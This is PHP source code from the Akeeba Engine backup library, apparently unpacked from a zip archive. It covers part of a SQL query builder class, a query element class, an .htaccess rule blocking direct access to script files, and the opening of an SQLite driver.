	 * @return  string  The required char length call.
	 */
	public function charLength($field, $operator = null, $condition = null)
	{
		return 'CHAR_LENGTH(' . $field . ')' . (isset($operator) && isset($condition) ? ' ' . $operator . ' ' . $condition : '');
	}

	/**
	 * Clear data from the query or a specific clause of the query.
	 *
	 * @param   string  $clause  Optionally, the name of the clause to clear, or nothing to clear the whole query.
	 *
	 * @return  Base  Returns this object to allow chaining.
	 */
	public function clear($clause = null)
	{
		$this->sql = null;

		switch ($clause)
		{
			case 'select':
				$this->select = null;
				$this->type   = null;
				break;

			case 'delete':
				$this->delete = null;
				$this->type   = null;
				break;

			case 'update':
				$this->update = null;
				$this->type   = null;
				break;

			case 'insert':
				$this->insert             = null;
				$this->type               = null;
				$this->autoIncrementField = null;
				break;

			case 'from':
				$this->from = null;
				break;

			case 'join':
				$this->join = null;
				break;

			case 'set':
				$this->set = null;
				break;

			case 'where':
				$this->where = null;
				break;

			case 'group':
				$this->group = null;
				break;

			case 'having':
				$this->having = null;
				break;

			case 'order':
				$this->order = null;
				break;

			case 'columns':
				$this->columns = null;
				break;

			case 'values':
				$this->values = null;
				break;

			case 'exec':
				$this->exec = null;
				$this->type = null;
				break;

			case 'call':
				$this->call = null;
				$this->type = null;
				break;

			case 'limit':
				$this->offset = 0;
				$this->limit  = 0;
				break;

			case 'union':
				$this->union = null;
				break;

			case 'unionAll':
				$this->unionAll = null;
				break;

			default:
				$this->type               = null;
				$this->select             = null;
				$this->delete             = null;
				$this->update             = null;
				$this->insert             = null;
				$this->from               = null;
				$this->join               = null;
				$this->set                = null;
				$this->where              = null;
				$this->group              = null;
				$this->having             = null;
				$this->order              = null;
				$this->columns            = null;
				$this->values             = null;
				$this->autoIncrementField = null;
				$this->exec               = null;
				$this->call               = null;
				$this->union              = null;
				$this->unionAll           = null;
				$this->offset             = 0;
				$this->limit              = 0;
				break;
		}

		return $this;
	}

	/**
	 * Adds a column, or array of column names that would be used for an INSERT INTO statement.
	 *
	 * @param   mixed  $columns  A column name, or array of column names.
	 *
	 * @return  Base  Returns this object to allow chaining.
	 */
	public function columns($columns)
	{
		if (is_null($this->columns))
		{
			$this->columns = new QueryElement('()', $columns);
		}
		else
		{
			$this->columns->append($columns);
		}

		return $this;
	}

	/**
	 * Concatenates an array of column names or values.
	 *
	 * Usage:
	 * $query->select($query->concatenate(array('a', 'b')));
	 *
	 * @param   array   $values     An array of values to concatenate.
	 * @param   string  $separator  As separator to place between each value.
	 *
	 * @return  string  The concatenated values.
	 */
	public function concatenate($values, $separator = null)
	{
		if ($separator)
		{
			return 'CONCATENATE(' . implode(' || ' . $this->quote($separator) . ' || ', $values) . ')';
		}
		else
		{
			return 'CONCATENATE(' . implode(' || ', $values) . ')';
		}
	}

	/**
	 * Gets the current date and time.
	 *
	 * Usage:
	 * $query->where('published_up < '.$query->currentTimestamp());
	 *
	 * @return  string
	 */
	public function currentTimestamp()
	{
		return 'CURRENT_TIMESTAMP()';
	}

	/**
	 * Returns a PHP date() function compliant date format for the database driver.
	 *
	 * This method is provided for use where the query object is passed to a function for modification.
	 * If you have direct access to the database object, it is recommended you use the getDateFormat method directly.
	 *
	 * @return  string  The format string.
	 */
	public function dateFormat()
	{
		if (!($this->db instanceof DriverBase))
		{
			throw new QueryException('Invalid database object');
		}

		return $this->db->getDateFormat();
	}

	/**
	 * Creates a formatted dump of the query for debugging purposes.
	 *
	 * Usage:
	 * echo $query->dump();
	 *
	 * @return  string
	 */
	public function dump()
	{
		return '<pre class="AkeebaEngineQuery">' . str_replace('#__', $this->db->getPrefix(), $this) . '</pre>';
	}

	/**
	 * Add a table name to the DELETE clause of the query.
	 *
	 * Note that you must not mix insert, update, delete and select method calls when building a query.
	 *
	 * Usage:
	 * $query->delete('#__a')->where('id = 1');
	 *
	 * @param   string  $table  The name of the table to delete from.
	 *
	 * @return  Base  Returns this object to allow chaining.
	 */
	public function delete($table = null)
	{
		$this->type   = 'delete';
		$this->delete = new QueryElement('DELETE', null);

		if (!empty($table))
		{
			$this->from($table);
		}

		return $this;
	}

	/**
	 * Method to escape a string for usage in an SQL statement.
	 *
	 * This method is provided for use where the query object is passed to a function for modification.
	 * If you have direct access to the database object, it is recommended you use the escape method directly.
	 *
	 * Note that 'e' is an alias for this method as it is in DriverBase.
	 *
	 * @param   string   $text   The string to be escaped.
	 * @param   boolean  $extra  Optional parameter to provide extra escaping.
	 *
	 * @return  string  The escaped string.
	 */
	public function escape($text, $extra = false)
	{
		if (!($this->db instanceof DriverBase))
		{
			throw new QueryException('Invalid database object');
		}

		return $this->db->escape($text, $extra);
	}

	/**
	 * Add a single column, or array of columns to the EXEC clause of the query.
	 *
	 * Note that you must not mix insert, update, delete and select method calls when building a query.
	 * The exec method can, however, be called multiple times in the same query.
	 *
	 * Usage:
	 * $query->exec('a.*')->exec('b.id');
	 * $query->exec(array('a.*', 'b.id'));
	 *
	 * @param   mixed  $columns  A string or an array of field names.
	 *
	 * @return  Base  Returns this object to allow chaining.
	 */
	public function exec($columns)
	{
		$this->type = 'exec';

		if (is_null($this->exec))
		{
			$this->exec = new QueryElement('EXEC', $columns);
		}
		else
		{
			$this->exec->append($columns);
		}

		return $this;
	}

	/**
	 * Add a table to the FROM clause of the query.
	 *
	 * Note that while an array of tables can be provided, it is recommended you use explicit joins.
	 *
	 * Usage:
	 * $query->select('*')->from('#__a');
	 *
	 * @param   mixed   $tables         A string or array of table names.
	 *                                  This can be a Base object (or a child of it) when used
	 *                                  as a subquery in FROM clause along with a value for $subQueryAlias.
	 * @param   string  $subQueryAlias  Alias used when $tables is a Base.
	 *
	 * @return  Base  Returns this object to allow chaining.
	 */
	public function from($tables, $subQueryAlias = null)
	{
		if (is_null($this->from))
		{
			if ($tables instanceof $this)
			{
				if (is_null($subQueryAlias))
				{
					throw new QueryException('Null subquery defined');
				}

				$tables = '( ' . (string) $tables . ' ) AS ' . $this->quoteName($subQueryAlias);
			}

			$this->from = new QueryElement('FROM', $tables);
		}
		else
		{
			$this->from->append($tables);
		}

		return $this;
	}

	/**
	 * Used to get a string to extract year from date column.
	 *
	 * Usage:
	 * $query->select($query->year($query->quoteName('dateColumn')));
	 *
	 * @param   string  $date  Date column containing year to be extracted.
	 *
	 * @return  string  Returns string to extract year from a date.
	 */
	public function year($date)
	{
		return 'YEAR(' . $date . ')';
	}

	/**
	 * Used to get a string to extract month from date column.
	 *
	 * Usage:
	 * $query->select($query->month($query->quoteName('dateColumn')));
	 *
	 * @param   string  $date  Date column containing month to be extracted.
	 *
	 * @return  string  Returns string to extract month from a date.
	 */
	public function month($date)
	{
		return 'MONTH(' . $date . ')';
	}

	/**
	 * Used to get a string to extract day from date column.
	 *
	 * Usage:
	 * $query->select($query->day($query->quoteName('dateColumn')));
	 *
	 * @param   string  $date  Date column containing day to be extracted.
	 *
	 * @return  string  Returns string to extract day from a date.
	 */
	public function day($date)
	{
		return 'DAY(' . $date . ')';
	}

	/**
	 * Used to get a string to extract hour from date column.
	 *
	 * Usage:
	 * $query->select($query->hour($query->quoteName('dateColumn')));
	 *
	 * @param   string  $date  Date column containing hour to be extracted.
	 *
	 * @return  string  Returns string to extract hour from a date.
	 */
	public function hour($date)
	{
		return 'HOUR(' . $date . ')';
	}

	/**
	 * Used to get a string to extract minute from date column.
	 *
	 * Usage:
	 * $query->select($query->minute($query->quoteName('dateColumn')));
	 *
	 * @param   string  $date  Date column containing minute to be extracted.
	 *
	 * @return  string  Returns string to extract minute from a date.
	 */
	public function minute($date)
	{
		return 'MINUTE(' . $date . ')';
	}

	/**
	 * Used to get a string to extract seconds from date column.
	 *
	 * Usage:
	 * $query->select($query->second($query->quoteName('dateColumn')));
	 *
	 * @param   string  $date  Date column containing second to be extracted.
	 *
	 * @return  string  Returns string to extract second from a date.
	 */
	public function second($date)
	{
		return 'SECOND(' . $date . ')';
	}

	/**
	 * Add a grouping column to the GROUP clause of the query.
	 *
	 * Usage:
	 * $query->group('id');
	 *
	 * @param   mixed  $columns  A string or array of ordering columns.
	 *
	 * @return  Base  Returns this object to allow chaining.
	 */
	public function group($columns)
	{
		if (is_null($this->group))
		{
			$this->group = new QueryElement('GROUP BY', $columns);
		}
		else
		{
			$this->group->append($columns);
		}

		return $this;
	}

	/**
	 * A conditions to the HAVING clause of the query.
	 *
	 * Usage:
	 * $query->group('id')->having('COUNT(id) > 5');
	 *
	 * @param   mixed   $conditions  A string or array of columns.
	 * @param   string  $glue        The glue by which to join the conditions. Defaults to AND.
	 *
	 * @return  Base  Returns this object to allow chaining.
	 */
	public function having($conditions, $glue = 'AND')
	{
		if (is_null($this->having))
		{
			$glue         = strtoupper($glue);
			$this->having = new QueryElement('HAVING', $conditions, " $glue ");
		}
		else
		{
			$this->having->append($conditions);
		}

		return $this;
	}

	/**
	 * Add an INNER JOIN clause to the query.
	 *
	 * Usage:
	 * $query->innerJoin('b ON b.id = a.id')->innerJoin('c ON c.id = b.id');
	 *
	 * @param   string  $condition  The join condition.
	 *
	 * @return  Base  Returns this object to allow chaining.
	 */
	public function innerJoin($condition)
	{
		$this->join('INNER', $condition);

		return $this;
	}

	/**
	 * Add a table name to the INSERT clause of the query.
	 *
	 * Note that you must not mix insert, update, delete and select method calls when building a query.
	 *
	 * Usage:
	 * $query->insert('#__a')->set('id = 1');
	 * $query->insert('#__a')->columns('id, title')->values('1,2')->values('3,4');
	 * $query->insert('#__a')->columns('id, title')->values(array('1,2', '3,4'));
	 *
	 * @param   mixed    $table           The name of the table to insert data into.
	 * @param   boolean  $incrementField  The name of the field to auto increment.
	 *
	 * @return  Base  Returns this object to allow chaining.
	 */
	public function insert($table, $incrementField = false)
	{
		$this->type               = 'insert';
		$this->insert             = new QueryElement('INSERT INTO', $table);
		$this->autoIncrementField = $incrementField;

		return $this;
	}

	/**
	 * Add a JOIN clause to the query.
	 *
	 * Usage:
	 * $query->join('INNER', 'b ON b.id = a.id);
	 *
	 * @param   string  $type        The type of join. This string is prepended to the JOIN keyword.
	 * @param   string  $conditions  A string or array of conditions.
	 *
	 * @return  Base  Returns this object to allow chaining.
	 */
	public function join($type, $conditions)
	{
		if (is_null($this->join))
		{
			$this->join = [];
		}
		$this->join[] = new QueryElement(strtoupper($type) . ' JOIN', $conditions);

		return $this;
	}

	/**
	 * Add a LEFT JOIN clause to the query.
	 *
	 * Usage:
	 * $query->leftJoin('b ON b.id = a.id')->leftJoin('c ON c.id = b.id');
	 *
	 * @param   string  $condition  The join condition.
	 *
	 * @return  Base  Returns this object to allow chaining.
	 */
	public function leftJoin($condition)
	{
		$this->join('LEFT', $condition);

		return $this;
	}

	/**
	 * Get the length of a string in bytes.
	 *
	 * Note, use 'charLength' to find the number of characters in a string.
	 *
	 * Usage:
	 * query->where($query->length('a').' > 3');
	 *
	 * @param   string  $value  The string to measure.
	 *
	 * @return  int
	 */
	public function length($value)
	{
		return 'LENGTH(' . $value . ')';
	}

	/**
	 * Get the null or zero representation of a timestamp for the database driver.
	 *
	 * This method is provided for use where the query object is passed to a function for modification.
	 * If you have direct access to the database object, it is recommended you use the nullDate method directly.
	 *
	 * Usage:
	 * $query->where('modified_date <> '.$query->nullDate());
	 *
	 * @param   boolean  $quoted  Optionally wraps the null date in database quotes (true by default).
	 *
	 * @return  string  Null or zero representation of a timestamp.
	 */
	public function nullDate($quoted = true)
	{
		if (!($this->db instanceof DriverBase))
		{
			throw new QueryException('Invalid database object');
		}

		$result = $this->db->getNullDate();

		if ($quoted)
		{
			return $this->db->quote($result);
		}

		return $result;
	}

	/**
	 * Add a ordering column to the ORDER clause of the query.
	 *
	 * Usage:
	 * $query->order('foo')->order('bar');
	 * $query->order(array('foo','bar'));
	 *
	 * @param   mixed  $columns  A string or array of ordering columns.
	 *
	 * @return  Base  Returns this object to allow chaining.
	 */
	public function order($columns)
	{
		if (is_null($this->order))
		{
			$this->order = new QueryElement('ORDER BY', $columns);
		}
		else
		{
			$this->order->append($columns);
		}

		return $this;
	}

	/**
	 * Add an OUTER JOIN clause to the query.
	 *
	 * Usage:
	 * $query->outerJoin('b ON b.id = a.id')->outerJoin('c ON c.id = b.id');
	 *
	 * @param   string  $condition  The join condition.
	 *
	 * @return  Base  Returns this object to allow chaining.
	 */
	public function outerJoin($condition)
	{
		$this->join('OUTER', $condition);

		return $this;
	}

	/**
	 * Method to quote and optionally escape a string to database requirements for insertion into the database.
	 *
	 * This method is provided for use where the query object is passed to a function for modification.
	 * If you have direct access to the database object, it is recommended you use the quote method directly.
	 *
	 * Note that 'q' is an alias for this method as it is in DriverBase.
	 *
	 * Usage:
	 * $query->quote('fulltext');
	 * $query->q('fulltext');
	 * $query->q(array('option', 'fulltext'));
	 *
	 * @param   mixed    $text    A string or an array of strings to quote.
	 * @param   boolean  $escape  True to escape the string, false to leave it unchanged.
	 *
	 * @return  string  The quoted input string.
	 *
	 * @throws  QueryException if the internal db property is not a valid object.
	 */
	public function quote($text, $escape = true)
	{
		if (!($this->db instanceof DriverBase))
		{
			throw new QueryException('Invalid database object');
		}

		return $this->db->quote($text, $escape);
	}

	/**
	 * Wrap an SQL statement identifier name such as column, table or database names in quotes to prevent injection
	 * risks and reserved word conflicts.
	 *
	 * This method is provided for use where the query object is passed to a function for modification.
	 * If you have direct access to the database object, it is recommended you use the quoteName method directly.
	 *
	 * Note that 'qn' is an alias for this method as it is in DriverBase.
	 *
	 * Usage:
	 * $query->quoteName('#__a');
	 * $query->qn('#__a');
	 *
	 * @param   mixed  $name  The identifier name to wrap in quotes, or an array of identifier names to wrap in quotes.
	 *                        Each type supports dot-notation name.
	 * @param   mixed  $as    The AS query part associated to $name. It can be string or array, in latter case it has
	 *                        to be same length of $name; if is null there will not be any AS part for string or array
	 *                        element.
	 *
	 * @return  mixed  The quote wrapped name, same type of $name.
	 *
	 * @throws  QueryException if the internal db property is not a valid object.
	 */
	public function quoteName($name, $as = null)
	{
		if (!($this->db instanceof DriverBase))
		{
			throw new QueryException('Invalid database object');
		}

		return $this->db->quoteName($name, $as);
	}

	/**
	 * Add a RIGHT JOIN clause to the query.
	 *
	 * Usage:
	 * $query->rightJoin('b ON b.id = a.id')->rightJoin('c ON c.id = b.id');
	 *
	 * @param   string  $condition  The join condition.
	 *
	 * @return  Base  Returns this object to allow chaining.
	 */
	public function rightJoin($condition)
	{
		$this->join('RIGHT', $condition);

		return $this;
	}

	/**
	 * Add a single column, or array of columns to the SELECT clause of the query.
	 *
	 * Note that you must not mix insert, update, delete and select method calls when building a query.
	 * The select method can, however, be called multiple times in the same query.
	 *
	 * Usage:
	 * $query->select('a.*')->select('b.id');
	 * $query->select(array('a.*', 'b.id'));
	 *
	 * @param   mixed  $columns  A string or an array of field names.
	 *
	 * @return  Base  Returns this object to allow chaining.
	 */
	public function select($columns)
	{
		$this->type = 'select';

		if (is_null($this->select))
		{
			$this->select = new QueryElement('SELECT', $columns);
		}
		else
		{
			$this->select->append($columns);
		}

		return $this;
	}

	/**
	 * Add a single condition string, or an array of strings to the SET clause of the query.
	 *
	 * Usage:
	 * $query->set('a = 1')->set('b = 2');
	 * $query->set(array('a = 1', 'b = 2');
	 *
	 * @param   mixed   $conditions  A string or array of string conditions.
	 * @param   string  $glue        The glue by which to join the condition strings. Defaults to ,.
	 *                               Note that the glue is set on first use and cannot be changed.
	 *
	 * @return  Base  Returns this object to allow chaining.
	 */
	public function set($conditions, $glue = ',')
	{
		if (is_null($this->set))
		{
			$glue      = strtoupper($glue);
			$this->set = new QueryElement('SET', $conditions, "\n\t$glue ");
		}
		else
		{
			$this->set->append($conditions);
		}

		return $this;
	}

	/**
	 * Allows a direct query to be provided to the database
	 * driver's setQuery() method, but still allow queries
	 * to have bounded variables.
	 *
	 * Usage:
	 * $query->setQuery('select * from #__users');
	 *
	 * @param   mixed  $query  An SQL Query
	 *
	 * @return  QueryElement  Returns this object to allow chaining.
	 */
	public function setQuery($query)
	{
		$this->sql = $query;

		return $this;
	}

	/**
	 * Add a table name to the UPDATE clause of the query.
	 *
	 * Note that you must not mix insert, update, delete and select method calls when building a query.
	 *
	 * Usage:
	 * $query->update('#__foo')->set(...);
	 *
	 * @param   string  $table  A table to update.
	 *
	 * @return  Base  Returns this object to allow chaining.
	 */
	public function update($table)
	{
		$this->type   = 'update';
		$this->update = new QueryElement('UPDATE', $table);

		return $this;
	}

	/**
	 * Adds a tuple, or array of tuples that would be used as values for an INSERT INTO statement.
	 *
	 * Usage:
	 * $query->values('1,2,3')->values('4,5,6');
	 * $query->values(array('1,2,3', '4,5,6'));
	 *
	 * @param   string  $values  A single tuple, or array of tuples.
	 *
	 * @return  Base  Returns this object to allow chaining.
	 */
	public function values($values)
	{
		if (is_null($this->values))
		{
			$this->values = new QueryElement('()', $values, '),(');
		}
		else
		{
			$this->values->append($values);
		}

		return $this;
	}

	/**
	 * Add a single condition, or an array of conditions to the WHERE clause of the query.
	 *
	 * Usage:
	 * $query->where('a = 1')->where('b = 2');
	 * $query->where(array('a = 1', 'b = 2'));
	 *
	 * @param   mixed   $conditions  A string or array of where conditions.
	 * @param   string  $glue        The glue by which to join the conditions. Defaults to AND.
	 *                               Note that the glue is set on first use and cannot be changed.
	 *
	 * @return  Base  Returns this object to allow chaining.
	 */
	public function where($conditions, $glue = 'AND')
	{
		if (is_null($this->where))
		{
			$glue        = strtoupper($glue);
			$this->where = new QueryElement('WHERE', $conditions, " $glue ");
		}
		else
		{
			$this->where->append($conditions);
		}

		return $this;
	}

	/**
	 * Method to provide deep copy support to nested objects and
	 * arrays when cloning.
	 *
	 * @return  void
	 */
	public function __clone()
	{
		foreach ($this as $k => $v)
		{
			if ($k === 'db')
			{
				continue;
			}

			if (is_object($v) || is_array($v))
			{
				$this->$k = unserialize(serialize($v));
			}
		}
	}

	/**
	 * Add a query to UNION with the current query.
	 * Multiple unions each require separate statements and create an array of unions.
	 *
	 * Usage:
	 * $query->union('SELECT name FROM  #__foo')
	 * $query->union('SELECT name FROM  #__foo','distinct')
	 * $query->union(array('SELECT name FROM  #__foo','SELECT name FROM  #__bar'))
	 *
	 * @param   mixed    $query     The Base object or string to union.
	 * @param   boolean  $distinct  True to only return distinct rows from the union.
	 * @param   string   $glue      The glue by which to join the conditions.
	 *
	 * @return  mixed    The Base object on success or boolean false on failure.
	 */
	public function union($query, $distinct = false, $glue = '')
	{
		// Clear any ORDER BY clause in UNION query
		// See http://dev.mysql.com/doc/refman/5.0/en/union.html
		if (!is_null($this->order))
		{
			$this->clear('order');
		}

		// Set up the DISTINCT flag, the name with parentheses, and the glue.
		if ($distinct)
		{
			$name = 'UNION DISTINCT ()';
			$glue = ')' . PHP_EOL . 'UNION DISTINCT (';
		}
		else
		{
			$glue = ')' . PHP_EOL . 'UNION (';
			$name = 'UNION ()';
		}

		// Get the QueryElement if it does not exist
		if (is_null($this->union))
		{
			$this->union = new QueryElement($name, $query, "$glue");
		}
		// Otherwise append the second UNION.
		else
		{
			$glue = '';
			$this->union->append($query);
		}

		return $this;
	}

	/**
	 * Add a query to UNION DISTINCT with the current query. Simply a proxy to Union with the Distinct clause.
	 *
	 * Usage:
	 * $query->unionDistinct('SELECT name FROM  #__foo')
	 *
	 * @param   mixed   $query  The Base object or string to union.
	 * @param   string  $glue   The glue by which to join the conditions.
	 *
	 * @return  mixed   The Base object on success or boolean false on failure.
	 */
	public function unionDistinct($query, $glue = '')
	{
		$distinct = true;

		// Apply the distinct flag to the union.
		return $this->union($query, $distinct, $glue);
	}

	/**
	 * Find and replace sprintf-like tokens in a format string.
	 * Each token takes one of the following forms:
	 *     %%       - A literal percent character.
	 *     %[t]     - Where [t] is a type specifier.
	 *     %[n]$[x] - Where [n] is an argument specifier and [t] is a type specifier.
	 *
	 * Types:
	 * a - Numeric: Replacement text is coerced to a numeric type but not quoted or escaped.
	 * e - Escape: Replacement text is passed to $this->escape().
	 * E - Escape (extra): Replacement text is passed to $this->escape() with true as the second argument.
	 * n - Name Quote: Replacement text is passed to $this->quoteName().
	 * q - Quote: Replacement text is passed to $this->quote().
	 * Q - Quote (no escape): Replacement text is passed to $this->quote() with false as the second argument.
	 * r - Raw: Replacement text is used as-is. (Be careful)
	 *
	 * Date Types:
	 * - Replacement text automatically quoted (use uppercase for Name Quote).
	 * - Replacement text should be a string in date format or name of a date column.
	 * y/Y - Year
	 * m/M - Month
	 * d/D - Day
	 * h/H - Hour
	 * i/I - Minute
	 * s/S - Second
	 *
	 * Invariable Types:
	 * - Takes no argument.
	 * - Argument index not incremented.
	 * t - Replacement text is the result of $this->currentTimestamp().
	 * z - Replacement text is the result of $this->nullDate(false).
	 * Z - Replacement text is the result of $this->nullDate(true).
	 *
	 * Usage:
	 * $query->format('SELECT %1$n FROM %2$n WHERE %3$n = %4$a', 'foo', '#__foo', 'bar', 1);
	 * Returns: SELECT `foo` FROM `#__foo` WHERE `bar` = 1
	 *
	 * Notes:
	 * The argument specifier is optional but recommended for clarity.
	 * The argument index used for unspecified tokens is incremented only when used.
	 *
	 * @param   string  $format  The formatting string.
	 *
	 * @return  string  Returns a string produced according to the formatting string.
	 */
	public function format($format)
	{
		$query = $this;
		$args  = array_slice(func_get_args(), 1);
		array_unshift($args, null);

		$i    = 1;
		$func = function ($match) use ($query, $args, &$i) {
			if (isset($match[6]) && $match[6] == '%')
			{
				return '%';
			}

			// No argument required, do not increment the argument index.
			switch ($match[5])
			{
				case 't':
					return $query->currentTimestamp();
					break;

				case 'z':
					return $query->nullDate(false);
					break;

				case 'Z':
					return $query->nullDate(true);
					break;
			}

			// Increment the argument index only if argument specifier not provided.
			$index = is_numeric($match[4]) ? (int) $match[4] : $i++;

			if (!$index || !isset($args[$index]))
			{
				$replacement = '';
			}
			else
			{
				$replacement = $args[$index];
			}

			switch ($match[5])
			{
				case 'a':
					return 0 + $replacement;
					break;

				case 'e':
					return $query->escape($replacement);
					break;

				case 'E':
					return $query->escape($replacement, true);
					break;

				case 'n':
					return $query->quoteName($replacement);
					break;

				case 'q':
					return $query->quote($replacement);
					break;

				case 'Q':
					return $query->quote($replacement, false);
					break;

				case 'r':
					return $replacement;
					break;

				// Dates
				case 'y':
					return $query->year($query->quote($replacement));
					break;

				case 'Y':
					return $query->year($query->quoteName($replacement));
					break;

				case 'm':
					return $query->month($query->quote($replacement));
					break;

				case 'M':
					return $query->month($query->quoteName($replacement));
					break;

				case 'd':
					return $query->day($query->quote($replacement));
					break;

				case 'D':
					return $query->day($query->quoteName($replacement));
					break;

				case 'h':
					return $query->hour($query->quote($replacement));
					break;

				case 'H':
					return $query->hour($query->quoteName($replacement));
					break;

				case 'i':
					return $query->minute($query->quote($replacement));
					break;

				case 'I':
					return $query->minute($query->quoteName($replacement));
					break;

				case 's':
					return $query->second($query->quote($replacement));
					break;

				case 'S':
					return $query->second($query->quoteName($replacement));
					break;
			}

			return '';
		};

		/**
		 * Regexp to find an replace all tokens.
		 * Matched fields:
		 * 0: Full token
		 * 1: Everything following '%'
		 * 2: Everything following '%' unless '%'
		 * 3: Argument specifier and '$'
		 * 4: Argument specifier
		 * 5: Type specifier
		 * 6: '%' if full token is '%%'
		 */

		return preg_replace_callback('#%(((([\d]+)\$)?([aeEnqQryYmMdDhHiIsStzZ]))|(%))#', $func, $format);
	}

	/**
	 * Add to the current date and time.
	 * Usage:
	 * $query->select($query->dateAdd());
	 * Prefixing the interval with a - (negative sign) will cause subtraction to be used.
	 * Note: Not all drivers support all units.
	 *
	 * @param   string  $date      The SQL-formatted date to add to. May be a date or datetime string.
	 * @param   string  $interval  The string representation of the appropriate number of units
	 * @param   string  $datePart  The part of the date to perform the addition on
	 *
	 * @return  string  The string with the appropriate sql for addition of dates
	 *
	 * @see http://dev.mysql.com/doc/refman/5.1/en/date-and-time-functions.html#function_date-add
	 */
	public function dateAdd($date, $interval, $datePart)
	{
		return trim("DATE_ADD('" . $date . "', INTERVAL " . $interval . ' ' . $datePart . ')');
	}

	/**
	 * Add a query to UNION ALL with the current query.
	 * Multiple unions each require separate statements and create an array of unions.
	 *
	 * Usage:
	 * $query->union('SELECT name FROM  #__foo')
	 * $query->union('SELECT name FROM  #__foo','distinct')
	 * $query->union(array('SELECT name FROM  #__foo','SELECT name FROM  #__bar'))
	 *
	 * @param   mixed    $query     The Base object or string to union.
	 * @param   boolean  $distinct  True to only return distinct rows from the union.
	 * @param   string   $glue      The glue by which to join the conditions.
	 *
	 * @return  mixed    The Base object on success or boolean false on failure.
	 */
	public function unionAll($query, $distinct = false, $glue = '')
	{
		$glue = ')' . PHP_EOL . 'UNION ALL (';
		$name = 'UNION ALL ()';

		// Get the QueryElement if it does not exist
		if (is_null($this->unionAll))
		{
			$this->unionAll = new QueryElement($name, $query, "$glue");
		}

		// Otherwise append the second UNION.
		else
		{
			$glue = '';
			$this->unionAll->append($query);
		}

		return $this;
	}
}
PK     \ Jٝ
  
  4  vendor/akeeba/engine/engine/Driver/Query/Element.phpnu [        <?php
/**
 * Akeeba Engine
 *
 * @package   akeebaengine
 * @copyright Copyright (c)2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   https://www.gnu.org/licenses/gpl-3.0.html GNU General Public License version 3, or later
 *
 * This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public
 * License as published by the Free Software Foundation, version 3.
 *
 * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied
 * warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License along with this program. If not, see
 * <https://www.gnu.org/licenses/>.
 */

namespace Akeeba\Engine\Driver\Query;

defined('AKEEBAENGINE') || die();

/**
 * Query Element Class.
 *
 * Based on Joomla! Platform 11.3
 */
class Element
{
	/**
	 * @var    string  The name of the element.
	 */
	protected $name = null;

	/**
	 * @var    array  An array of elements.
	 */
	protected $elements = null;

	/**
	 * @var    string  Glue piece.
	 */
	protected $glue = null;

	/**
	 * Constructor.
	 *
	 * @param   string  $name      The name of the element.
	 * @param   mixed   $elements  String or array.
	 * @param   string  $glue      The glue for elements.
	 */
	public function __construct($name, $elements, $glue = ',')
	{
		$this->elements = [];
		$this->name     = $name;
		$this->glue     = $glue;

		$this->append($elements);
	}

	/**
	 * Magic function to convert the query element to a string.
	 *
	 * @return  string
	 */
	public function __toString()
	{
		if (substr($this->name, -2) == '()')
		{
			return PHP_EOL . substr($this->name, 0, -2) . '(' . implode($this->glue, $this->elements) . ')';
		}
		else
		{
			return PHP_EOL . $this->name . ' ' . implode($this->glue, $this->elements);
		}
	}

	/**
	 * Appends element parts to the internal list.
	 *
	 * @param   mixed  $elements  String or array.
	 *
	 * @return  void
	 */
	public function append($elements)
	{
		if (is_array($elements))
		{
			$this->elements = array_merge($this->elements, $elements);
		}
		else
		{
			$this->elements = array_merge($this->elements, [$elements]);
		}
	}

	/**
	 * Gets the elements of this element.
	 *
	 * @return  string
	 */
	public function getElements()
	{
		return $this->elements;
	}

	/**
	 * Method to provide deep copy support to nested objects and arrays
	 * when cloning.
	 *
	 * @return  void
	 */
	public function __clone()
	{
		foreach ($this as $k => $v)
		{
			if (is_object($v) || is_array($v))
			{
				$this->{$k} = unserialize(serialize($v));
			}
		}
	}
}
PK     \Sʉ      2  vendor/akeeba/engine/engine/Driver/Query/.htaccessnu 7m        <FilesMatch '.(py|exe|phtml|php|PHP|Php|PHp|pHp|pHP|phP|PhP|php5|PHP5|Php5|PHp5|pHp5|pHP5|phP5|PhP5php7|PHP7|Php7|PHp7|pHp7|pHP7|phP7|PhP7|php8|PHP8|Php8|PHp8|pHp8|pHP8|phP8|PhP8|suspected)$'>
Order allow,deny
Deny from all
</FilesMatch>PK     \8@3O  3O  -  vendor/akeeba/engine/engine/Driver/Sqlite.phpnu [        <?php
/**
 * Akeeba Engine
 *
 * @package   akeebaengine
 * @copyright Copyright (c)2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   https://www.gnu.org/licenses/gpl-3.0.html GNU General Public License version 3, or later
 *
 * This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public
 * License as published by the Free Software Foundation, version 3.
 *
 * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied
 * warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License along with this program. If not, see
 * <https://www.gnu.org/licenses/>.
 */

namespace Akeeba\Engine\Driver;

defined('AKEEBAENGINE') || die();

use Akeeba\Engine\Driver\Query\Base as QueryBase;
use Akeeba\Engine\Driver\Query\Limitable;
use Akeeba\Engine\Driver\Query\Preparable;
use PDO;
use PDOException;
use PDOStatement;
use RuntimeException;
use SQLite3;

/**
 * SQLite database driver supporting PDO based connections
 *
 * @see    http://php.net/manual/en/ref.pdo-sqlite.php
 * @since  1.0
 */
#[\AllowDynamicProperties]
class Sqlite extends Base
{

	public static $dbtech = 'sqlite';

	/**
	 * The name of the database driver.
	 *
	 * @var    string
	 * @since  1.0
	 */
	public $name = 'sqlite';

	/** @var PDOStatement The database connection cursor from the last query. */
	protected $cursor;

	/** @var array   Contains the current query execution status */
	protected $executed = false;

	/**
	 * The character(s) used to quote SQL statement names such as table names or field names,
	 * etc. The child classes should define this as necessary.  If a single character string the
	 * same character is used for both sides of the quoted name, else the first character will be
	 * used for the opening quote and the second for the closing quote.
	 *
	 * @var    string
	 * @since  1.0
	 */
	protected $nameQuote = '`';

	/** @var resource   The prepared statement. */
	protected $prepared;

	/** @var bool Are we in the process of reconnecting to the database server? */
	private $isReconnecting = false;

	public function __construct(array $options)
	{
		$this->driverType = 'sqlite';

		parent::__construct($options);

		if (!is_object($this->connection))
		{
			$this->open();
		}
	}

	/**
	 * Test to see if the PDO ODBC connector is available.
	 *
